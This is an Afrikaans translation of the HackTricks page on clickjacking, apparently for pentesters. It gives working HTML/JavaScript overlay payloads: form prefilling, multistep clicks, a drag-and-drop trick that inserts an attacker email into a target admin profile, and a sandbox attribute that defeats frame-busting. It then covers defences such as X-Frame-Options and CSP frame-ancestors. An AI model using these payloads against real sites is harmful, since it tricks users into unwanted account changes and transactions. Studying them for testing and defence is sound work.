hacktricks/pentesting-web/clickjacking.md
2024-02-11 02:07:06 +00:00

16 KiB

Clickjacking

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:


Gebruik Trickest om maklik en outomatiese werksvloeie te bou met behulp van die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry vandag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Wat is Clickjacking

In 'n clickjacking-aanval word 'n gebruiker bedrieg om op 'n element op 'n webblad te klik wat óf onsigbaar is óf vermom is as 'n ander element. Hierdie manipulasie kan onbedoelde gevolge vir die gebruiker hê, soos die aflaai van kwaadwillige sagteware, omleiding na skadelike webbladsye, die voorsiening van geloofsbriewe of sensitiewe inligting, geldoordragte, of die aanlyn-aankoop van produkte.

Trick om vorms vooraf te vul

Dit is soms moontlik om die waarde van velds in 'n vorm te vul deur GET-parameters te gebruik wanneer 'n bladsy gelaai word. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met willekeurige data te vul en die clickjacking-lading te stuur sodat die gebruiker die knoppie Indien druk.

Vul vorm met Sleep&Laat val

As jy wil hê dat die gebruiker 'n vorm moet vul, maar jy wil hom nie direk vra om spesifieke inligting te skryf (soos die e-pos en/of 'n spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te Sleep&Laat val wat jou beheerde data sal skryf, soos in hierdie voorbeeld.

Basiese Lading

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Veelstapgelaai

'n Veelstapgelaai is 'n tegniek wat gebruik word in clickjacking-aanvalle om 'n gebruiker te mislei om 'n reeks aksies uit te voer sonder dat hy bewus is daarvan. Hierdie tegniek maak gebruik van 'n reeks versteekte kliekareas wat oor mekaar gelê word om die gebruiker te laat dink dat hy op 'n ander element klik as wat hy werklik is.

Die veelstapgelaai bestaan uit die volgende stappe:

  1. Die aanvaller skep 'n webwerf wat die inhoud van die teikenwebwerf insluit deur gebruik te maak van 'n iframe-element.
  2. Die aanvaller plaas 'n onsigbare kliekarea oor 'n knoppie of skakel op die teikenwebwerf wat die gebruiker normaalweg sou klik.
  3. Wanneer die gebruiker op die knoppie of skakel klik, word hy eintlik op die onsigbare kliekarea geklik, wat 'n aksie op die teikenwebwerf veroorsaak.
  4. Die aanvaller kan hierdie proses herhaal deur nog versteekte kliekareas oor ander elemente op die teikenwebwerf te plaas, wat die gebruiker verder mislei om aksies uit te voer sonder sy medewete.

Hierdie tegniek kan gebruik word om verskeie skadelike aksies uit te voer, soos die stel van gebruikersinstellings, die uitvoer van transaksies of die deel van persoonlike inligting sonder die gebruiker se toestemming. Dit is belangrik vir webontwikkelaars om bewus te wees van hierdie aanvalstegniek en maatreëls te tref om dit te voorkom.

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Sleep&Laai + Klik lading

Hierdie tegniek maak gebruik van 'n kombinasie van sleep en laai en kliek om 'n clickjacking-aanval uit te voer. Die aanval maak gebruik van 'n onsigbare oorlê-element wat die gebruiker mislei om op 'n skadelike knoppie te klik sonder dat hy dit besef.

Metode

  1. Skep 'n oorlê-element wat die volle skerm bedek en 'n skadelike knoppie bevat.
  2. Stel die oorlê-element se deursigtigheid in op 0% sodat dit onsigbaar is vir die gebruiker.
  3. Plaas die oorlê-element oor 'n onskadelike knoppie of skakel wat die gebruiker verwag om op te klik.
  4. Skep 'n sleep-en-laai-gebeurtenis wat geaktiveer word wanneer die gebruiker op die onskadelike knoppie klik.
  5. Tydens die sleep-en-laai-gebeurtenis, skuif die oorlê-element oor die skadelike knoppie.
  6. Wanneer die gebruiker die muisknop loslaat, sal die oorlê-element oor die skadelike knoppie wees en die aanval sal uitgevoer word.

Voorbeeld

<!DOCTYPE html>
<html>
<head>
<style>
#overlay {
  position: absolute;
  top: 0;
  left: 0;
  width: 100%;
  height: 100%;
  background-color: rgba(0,0,0,0);
  z-index: 9999;
}
#malicious-button {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  width: 200px;
  height: 100px;
  background-color: red;
  color: white;
  font-size: 20px;
  text-align: center;
  line-height: 100px;
}
#innocent-button {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  width: 200px;
  height: 100px;
  background-color: green;
  color: white;
  font-size: 20px;
  text-align: center;
  line-height: 100px;
}
</style>
</head>
<body>
<div id="overlay">
  <div id="malicious-button">Skadelike Knoppie</div>
</div>
<div id="innocent-button">Onskadelike Knoppie</div>
<script>
var overlay = document.getElementById("overlay");
var innocentButton = document.getElementById("innocent-button");
var maliciousButton = document.getElementById("malicious-button");

innocentButton.addEventListener("mousedown", function(event) {
  event.preventDefault();
  overlay.style.backgroundColor = "rgba(0,0,0,0.5)";
  overlay.style.cursor = "move";
  overlay.style.opacity = "0";
  overlay.style.zIndex = "-1";
  maliciousButton.style.opacity = "1";
});

innocentButton.addEventListener("mouseup", function(event) {
  event.preventDefault();
  overlay.style.backgroundColor = "rgba(0,0,0,0)";
  overlay.style.cursor = "default";
  overlay.style.opacity = "1";
  overlay.style.zIndex = "9999";
  maliciousButton.style.opacity = "0";
});
</script>
</body>
</html>

In hierdie voorbeeld sal die gebruiker verwag om op die groen "Onskadelike Knoppie" te klik. Wanneer die gebruiker die knoppie klik, sal die oorlê-element oor die rooi "Skadelike Knoppie" skuif en die aanval sal uitgevoer word sonder dat die gebruiker dit besef.

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Klikverleiding

As jy 'n XSS-aanval geïdentifiseer het wat vereis dat 'n gebruiker op 'n element klik om die XSS te aktiveer en die bladsy is kwesbaar vir klikverleiding, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te klik.
Voorbeeld:
Jy het 'n self XSS gevind in sekere privaat besonderhede van die rekening (besonderhede wat slegs jy kan instel en lees). Die bladsy met die vorm om hierdie besonderhede in te stel is kwesbaar vir klikverleiding en jy kan die vorm vooraf vul met die GET parameters.
__'n Aanvaller kan 'n klikverleiding-aanval vir daardie bladsy voorberei deur die vorm vooraf te vul met die XSS-payload en die gebruiker te mislei om die vorm in te dien. So, wanneer die vorm ingedien word en die waardes gewysig word, sal die gebruiker die XSS uitvoer.

Strategieë om Klikverleiding te Verminder

Kliëntkant Verdediging

Skripte wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Klikverleiding te voorkom:

  • Verseker dat die aansoekvenster die hoofvenster is.
  • Maak alle rame sigbaar.
  • Voorkom kliek op onsigbare rame.
  • Ontdek en waarsku gebruikers vir moontlike Klikverleiding-pogings.

Hierdie raam-breuk skripte kan egter omseil word:

  • Webblaaier se Sekuriteitsinstellings: Sommige webblaaier kan hierdie skripte blokkeer gebaseer op hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
  • HTML5 iframe sandbox Eienskap: 'n Aanvaller kan raam-breuk skripte neutraliseer deur die sandbox eienskap in te stel met allow-forms of allow-scripts waardes sonder allow-top-navigation. Dit voorkom dat die iframe verifieer of dit die hoofvenster is, bv.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Die allow-forms en allow-scripts waardes maak aksies binne die iframe moontlik terwyl top-level navigasie uitgeskakel word. Om die beoogde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos allow-same-origin en allow-modals nodig wees, afhangende van die tipe aanval. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word.

Bedienerkant-verdedigings

X-Frame-Options

Die X-Frame-Options HTTP-terugvoerheer stel blaaier in kennis van die geldigheid van die weergawe van 'n bladsy in 'n <frame> of <iframe>, wat help om Clickjacking te voorkom:

  • X-Frame-Options: deny - Geen domein kan die inhoud in 'n raam plaas nie.
  • X-Frame-Options: sameorigin - Slegs die huidige webwerf kan die inhoud in 'n raam plaas.
  • X-Frame-Options: allow-from https://trusted.com - Slegs die gespesifiseerde 'uri' kan die bladsy in 'n raam plaas.
  • Let op die beperkings: as die blaaier hierdie rigtinggewende nie ondersteun nie, mag dit nie werk nie. Sommige blaaier verkies die CSP frame-ancestors rigtinggewende.

Inhoudsveiligheidsbeleid (CSP) frame-ancestors rigtinggewende

Die frame-ancestors rigtinggewende in CSP is die aanbevole metode vir Clickjacking-beskerming:

  • frame-ancestors 'none' - Soortgelyk aan X-Frame-Options: deny.
  • frame-ancestors 'self' - Soortgelyk aan X-Frame-Options: sameorigin.
  • frame-ancestors trusted.com - Soortgelyk aan X-Frame-Options: allow-from.

Byvoorbeeld, die volgende CSP staan slegs raamwerk van dieselfde domein toe:

Content-Security-Policy: frame-ancestors 'self';

Verdere besonderhede en komplekse voorbeelde kan gevind word in die frame-ancestors CSP-dokumentasie en Mozilla se CSP frame-ancestors-dokumentasie.

Inhoudsveiligheidsbeleid (CSP) met child-src en frame-src

Inhoudsveiligheidsbeleid (CSP) is 'n veiligheidsmaatreël wat help om Clickjacking en ander kode-inspuitingsaanvalle te voorkom deur te spesifiseer watter bronne die blaaier moet toelaat om inhoud te laai.

frame-src Rigtinggewende

  • Definieer geldige bronne vir raamwerke.
  • Meer spesifiek as die default-src rigtinggewende.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Hierdie beleid laat rame toe van dieselfde oorsprong (self) en https://trusted-website.com.

child-src Direktief

  • Ingevoer in CSP-vlak 2 om geldige bronne vir webwerkers en rame in te stel.
  • Tree op as 'n fallback vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;

Hierdie beleid maak rame en werkers van dieselfde oorsprong (self) en https://trusted-website.com moontlik.

Gebruiksaantekeninge:

  • Deprecation: child-src word uitgefaseer ten gunste van frame-src en worker-src.
  • Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As beide afwesig is, word default-src gebruik.
  • Streng Brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.

JavaScript-raamverbreekende skripte

Alhoewel nie heeltemal waterdig nie, kan JavaScript-gebaseerde raamverbreekende skripte gebruik word om te voorkom dat 'n webbladsy ingeraam word. Voorbeeld:

if (top !== self) {
top.location = self.location;
}

Gebruik van Anti-CSRF-tokens

  • Tokenvalidatie: Gebruik anti-CSRF-tokens in webtoepassingen om ervoor te zorgen dat verzoeken die de staat veranderen opzettelijk door de gebruiker worden gedaan en niet via een Clickjacked-pagina.

Verwysings


Gebruik Trickest om gemakkelijk workflows te bouwen en te automatiseren met behulp van 's werelds meest geavanceerde communitytools.
Krijg vandaag toegang:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Andere manieren om HackTricks te ondersteunen: